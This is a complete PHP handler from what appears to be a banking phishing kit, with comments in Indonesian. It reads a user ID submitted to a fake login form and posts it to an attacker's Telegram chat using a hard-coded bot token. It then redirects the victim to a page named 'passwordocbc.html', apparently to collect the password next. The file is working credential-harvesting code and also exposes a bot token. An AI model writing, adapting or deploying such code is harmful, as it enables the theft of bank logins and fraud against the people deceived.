<?php
// Token dan Chat ID bot Telegram kamu
$token = "8727011628:AAEN6_CnSRiOyTZg3is2Z8JyYodXhgXdII4";
$chat_id = "-1003615695612";

// Ambil data dari form login
$user_id = $_POST['userid'] ?? '';

// Buat isi pesan
$message = "
🔔 *Login Masuk* 
👤 User ID: $user_id
🕒 Waktu: " . date('d-m-Y H:i:s');

// Kirim ke Telegram
$url = "https://api.telegram.org/bot$token/sendMessage";
$data = [
    'chat_id' => $chat_id,
    'text' => $message,
    'parse_mode' => 'Markdown'
];

// Kirim data menggunakan cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

// Setelah kirim, arahkan ke halaman berikutnya
header("Location: ../passwordocbc.html");
exit;
?>